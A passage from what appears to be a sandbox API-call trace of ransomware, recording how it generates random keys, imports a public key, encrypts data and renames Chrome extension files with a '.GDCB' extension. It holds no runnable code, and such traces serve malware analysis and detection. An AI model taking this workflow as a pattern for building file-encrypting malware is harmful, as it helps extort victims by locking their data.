0x74cb0df0 [0277.092] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.092] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.092] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0277.094] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678cfa0) returned 1 [0277.094] CryptGetKeyParam (in: hKey=0x678cfa0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.094] CryptEncrypt (in: hKey=0x678cfa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.095] GetLastError () returned 0x0 [0277.095] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.095] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.097] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678cf60) returned 1 [0277.097] CryptGetKeyParam (in: hKey=0x678cf60, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.097] CryptEncrypt (in: hKey=0x678cf60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.097] GetLastError () returned 0x0 [0277.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.097] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.098] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.101] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.104] ReadFile (in: hFile=0x520, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d3e8*=0xa89c, lpOverlapped=0x0) returned 1 [0277.128] VirtualAlloc (lpAddress=0x0, dwSize=0xa8a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.135] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.gdcb")) returned 1 [0277.138] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.141] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.144] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.144] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.144] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.144] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.149] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.149] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.150] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.152] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d2a0) returned 1 [0277.152] CryptGetKeyParam (in: hKey=0x678d2a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.152] CryptEncrypt (in: hKey=0x678d2a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.152] GetLastError () returned 0x0 [0277.152] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.152] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.154] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d520) returned 1 [0277.154] CryptGetKeyParam (in: hKey=0x678d520, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.154] CryptEncrypt (in: hKey=0x678d520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.154] GetLastError () returned 0x0 [0277.155] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.155] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.156] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.159] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.161] ReadFile (in: hFile=0x520, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d3e8*=0x181aa, lpOverlapped=0x0) returned 1 [0277.178] VirtualAlloc (lpAddress=0x0, dwSize=0x181b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.189] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.gdcb")) returned 1 [0277.192] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0277.196] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.198] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.198] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.199] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.201] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.203] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.203] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.203] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.204] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.206] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d820) returned 1 [0277.206] CryptGetKeyParam (in: hKey=0x678d820, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.206] CryptEncrypt (in: hKey=0x678d820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.206] GetLastError () returned 0x0 [0277.206] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.207] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.208] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d1a0) returned 1 [0277.208] CryptGetKeyParam (in: hKey=0x678d1a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.208] CryptEncrypt (in: hKey=0x678d1a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.209] GetLastError () returned 0x0 [0277.209] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.209] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.210] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.213] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.215] ReadFile (in: hFile=0x520, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d3e8*=0x111e1, lpOverlapped=0x0) returned 1 [0277.250] VirtualAlloc (lpAddress=0x0, dwSize=0x111f0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.258] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.gdcb")) returned 1 [0277.261] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.265] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.267] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.267] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.267] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.267] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0277.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.272] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.272] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.272] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.274] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d260) returned 1 [0277.274] CryptGetKeyParam (in: hKey=0x678d260, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.274] CryptEncrypt (in: hKey=0x678d260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.275] GetLastError () returned 0x0 [0277.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.275] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.277] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d560) returned 1 [0277.277] CryptGetKeyParam (in: hKey=0x678d560, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.277] CryptEncrypt (in: hKey=0x678d560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.277] GetLastError () returned 0x0 [0277.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.277] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.278] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.281] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.284] ReadFile (in: hFile=0x520, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d3e8*=0x3a258, lpOverlapped=0x0) returned 1 [0277.323] VirtualAlloc (lpAddress=0x0, dwSize=0x3a260, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.334] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.gdcb")) returned 1 [0277.338] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.344] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.344] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.344] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0277.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.352] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.352] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.352] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.353] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0277.355] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d860) returned 1 [0277.355] CryptGetKeyParam (in: hKey=0x678d860, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.355] CryptEncrypt (in: hKey=0x678d860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.356] GetLastError () returned 0x0 [0277.356] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.356] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.358] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d8a0) returned 1 [0277.358] CryptGetKeyParam (in: hKey=0x678d8a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.358] CryptEncrypt (in: hKey=0x678d8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.358] GetLastError () returned 0x0 [0277.358] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.360] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.364] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.367] ReadFile (in: hFile=0x520, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d3e8*=0xce17, lpOverlapped=0x0) returned 1 [0277.373] VirtualAlloc (lpAddress=0x0, dwSize=0xce20, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.381] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.gdcb")) returned 1 [0277.405] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0277.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.411] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.411] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.412] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.416] GetProcAddress 